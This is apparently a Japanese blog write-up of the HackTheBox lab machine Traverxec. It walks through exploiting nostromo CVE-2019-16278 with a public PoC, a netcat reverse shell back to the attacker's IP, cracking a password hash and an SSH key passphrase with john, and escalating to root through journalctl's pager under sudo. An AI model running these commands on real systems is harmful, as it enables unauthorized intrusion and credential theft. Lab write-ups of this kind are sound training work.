🍏

【HackTheBox】Traverxec Writeup

2023/12/28に公開

Recon

nmap

┌──(kali㉿kali)-[~/traverxec]
└─$ nmap -Pn 10.10.10.165 -T4 -sVC
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-28 01:50 EST
Nmap scan report for 10.10.10.165
Host is up (0.23s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa99a81668cd41ccf96c8401c759095c (RSA)
|   256 93dd1a23eed71f086b58470973a388cc (ECDSA)
|_  256 9dd6621e7afb8f5692e637f110db9bce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

httpサーバーはnostromo 1.9.6を使っています。

website


トップページはこんな感じでした。下にcontact formがあって、submitするとエラーメッセージが出ます。burpで見てみたらこのメッセージはempty.htmlの内容みたいです。

ページをfuzzしてみます。面白そうなページななかったです。

┌──(kali㉿kali)-[~/traverxec]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.165 -x html
===============================================================
/css                  (Status: 301) [Size: 314] [--> http://10.10.10.165/css/]
/Documents and Settings (Status: 501) [Size: 310]
/Documents and Settings.html (Status: 501) [Size: 310]
/empty.html           (Status: 200) [Size: 55]
/icons                (Status: 301) [Size: 314] [--> http://10.10.10.165/icons/]
/img                  (Status: 301) [Size: 314] [--> http://10.10.10.165/img/]
/index.html           (Status: 200) [Size: 15674]
/index.html           (Status: 200) [Size: 15674]
/js                   (Status: 301) [Size: 314] [--> http://10.10.10.165/js/]
/lib                  (Status: 301) [Size: 314] [--> http://10.10.10.165/lib/]
/Program Files        (Status: 501) [Size: 310]
/Program Files.html   (Status: 501) [Size: 310]
/reports list         (Status: 501) [Size: 310]
/reports list.html    (Status: 501) [Size: 310]
Progress: 9228 / 9230 (99.98%)
===============================================================

vhostもfuzzしてみましたが、それっぽいものがなかったです。
nmapの実行結果を思い出してnostromo 1.9.6を調べます。

nostromo CVE-2019-16278

CVEが見つけました。RCEができるみたいです。
https://nvd.nist.gov/vuln/detail/CVE-2019-16278
このPoCを使います。
https://github.com/jas502n/CVE-2019-16278

┌──(kali㉿kali)-[~/traverxec]
└─$ ./exploit.sh 10.10.10.165 80 id                             
uid=33(www-data) gid=33(www-data) groups=33(www-data)

rceできました。ではreverse shellのpayloadで実行してみます。

./exploit.sh 10.10.10.165 80 nc 10.10.14.4 9001 -e /bin/bash


www-dataのシェルが取れました。

Shell as www-data

/homeの中にdavidというユーザーがいます。
全員に実行権限だけがついているのが怪しい、、

www-data@traverxec:/var/nostromo/conf$ ls -l /home
total 4
drwx--x--x 5 david david 4096 Oct 25  2019 david

ウェブサイトのディレクトリをみてみます。

/var/nostromo/conf
-rw-r--r-- 1 root bin      41 Oct 25  2019 .htpasswd
-rw-r--r-- 1 root bin    2928 Oct 25  2019 mimes
-rw-r--r-- 1 root bin     498 Oct 25  2019 nhttpd.conf

.htpasswdの中にパスワードのハッシュがありました。johnでクラッキングします。

/var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
john --wordlist=/usr/share/wordlists/rockyou.txt davidhash

credentialsはdavid:Nowonly4meでしたが、これでsshログインもsuもダメでした。reconを続けます。

/var/nostromo/conf/nhttpd.conf
# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             david@traverxec.htb
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

nostromoのconfigurationファイルがこれです。よくわからないのでdocsを読みます、、
https://www.gsp.com/cgi-bin/man.cgi?section=8&topic=NHTTPD

nostromoのdocs
HOMEDIRS
To serve the home directories of your users via HTTP, enable the homedirs option by defining the path in where the home directories are stored, normally /home. To access a users home directory enter a ~ in the URL followed by the home directory name like in this example:
http://www.nazgul.ch/~hacki/
The content of the home directory is handled exactly the same way as a directory in your document root. If some users don't want that their home directory can be accessed via HTTP, they shall remove the world readable flag on their home directory and a caller will receive a 403 Forbidden response. Also, if basic authentication is enabled, a user can create an .htaccess file in his home directory and a caller will need to authenticate.

You can restrict the access within the home directories to a single sub directory by defining it via the homedirs_public option.

docsからわかったことは、

  • HOMEDIRSが設定されていると、ユーザーのhome directoryのコンテンツがserveされる
  • .htaccessのパスワードはbasic認証に使える
  • homedirs_publicの値がpublic_wwwだから、http://10.10.10.165/~david//home/david/public_wwwのコンテンツになっているはず

ではhttp://10.10.10.165/~david/にアクセスしてみます。

あれ、何もない、、gobusterでfuzzしてみます。

===============================================================
/Documents and Settings (Status: 501) [Size: 310]
/index.html           (Status: 200) [Size: 402]
/Program Files        (Status: 501) [Size: 310]
/reports list         (Status: 501) [Size: 310]
===============================================================

このprivate space. Nothing here. Keep out!のページはindex.htmlでした。他にどんなファイルがあるかわからないが、www-dataは/home/david/public_wwwのread権限があることがわかりました。シェルの方からディレクトリーにアクセスします。

www-data@traverxec:/home/david/public_www$ ls -l
total 8
-rw-r--r-- 1 david david  402 Oct 25  2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25  2019 protected-file-area

www-data@traverxec:/home/david/public_www$ cd protected-file-area

www-data@traverxec:/home/david/public_www/protected-file-area$ ls
backup-ssh-identity-files.tgz

backup-ssh-identity-files.tgzにdavidのssh情報が入っているでしょう。このディレクトリーにunzipできないので、/tmpにコピーします。

cp backup-ssh-identity-files.tgz /tmp

unzipします。

tar -xvzf backup-ssh-identity-files.tgz

unzipすると/tmp/home/david/.sshにssh private keyがありました。keyをattack boxに移します。

www-data@traverxec:/tmp/home/david/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F

seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W
KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU
[..SNIP..]
-----END RSA PRIVATE KEY-----

このkeyとpassphrase=Nowonly4meでsshログインできなかったです。passphraseをクラックしてみます。

ssh2john davidkey > keyhash
john --wordlist=/usr/share/wordlists/rockyou.txt keyhash
chmod 600 davidkey

credsはdavidkey:hunterでした。これでsshログインするとdavidのシェルが取れました!

Shell as david

/home/david/binにこのスクリプトがありました。

/home/david/bin/server-stats.sh
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat 

実行してみて、outputがこんな感じです。サーバーの情報とログを出力するコードです。

Load:  04:48:39 up  8:25,  1 user,  load average: 0.00, 0.00, 0.00
 
Open nhttpd sockets: 2
Files in the docroot: 117
 
Last 5 journal log lines:
-- Logs begin at Wed 2023-12-27 20:23:24 EST, end at Thu 2023-12-28 04:48:39 EST. --
Dec 27 20:23:25 traverxec nhttpd[487]: started
Dec 27 20:23:25 traverxec nhttpd[487]: max. file descriptors = 1040 (cur) / 1040 (max)
Dec 27 20:23:25 traverxec systemd[1]: Started nostromo nhttpd server.
Dec 27 21:32:05 traverxec su[1101]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty=pts/0 ruser=www-data rhost=  user=david
Dec 27 21:32:08 traverxec su[1101]: FAILED SU (to david) www-data on pts/0

最後の/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat が気になります。davidのパスワードがわからないのでsudo -lで権限を確認できないが、このスクリプトを実行できているってことはrootとしてjournalctlを実行できるでしょう。
とりあえずGTFOBinsでjournalctlを検索します。

使えそうなものが出てきました。

david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl
[sudo] password for david: 

journalctlだけ実行するとパスワードが求められます。スクリプトのコードをそのまま実行してみます。

david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Wed 2023-12-27 20:23:24 EST, end at Thu 2023-12-28 04:58:16 EST. --
Dec 27 20:23:25 traverxec nhttpd[487]: started
Dec 27 20:23:25 traverxec nhttpd[487]: max. file descriptors = 1040 (cur) / 1040 (max)
Dec 27 20:23:25 traverxec systemd[1]: Started nostromo nhttpd server.
Dec 27 21:32:05 traverxec su[1101]: pam_unix(su:auth): authentication failure; logname= uid=33 eui
Dec 27 21:32:08 traverxec su[1101]: FAILED SU (to david) www-data on pts/0

ここで!/bin/shを入力してenter。

Shell as root

david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Wed 2023-12-27 20:23:24 EST, end at Thu 2023-12-28 04:58:16 EST. --
Dec 27 20:23:25 traverxec nhttpd[487]: started
Dec 27 20:23:25 traverxec nhttpd[487]: max. file descriptors = 1040 (cur) / 1040 (max)
Dec 27 20:23:25 traverxec systemd[1]: Started nostromo nhttpd server.
Dec 27 21:32:05 traverxec su[1101]: pam_unix(su:auth): authentication failure; logname= uid=33 eui
Dec 27 21:32:08 traverxec su[1101]: FAILED SU (to david) www-data on pts/0
!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)

root shellが取れました!

Memo

結局最後まで.htpasswdのパスワードを使わなかったが、http://10.10.10.165/~david/protected-file-areaにアクセスしてdavid:Nowonly4meで認証するとブラウザーからssh keyをダウンロードすることもできます。

Discussion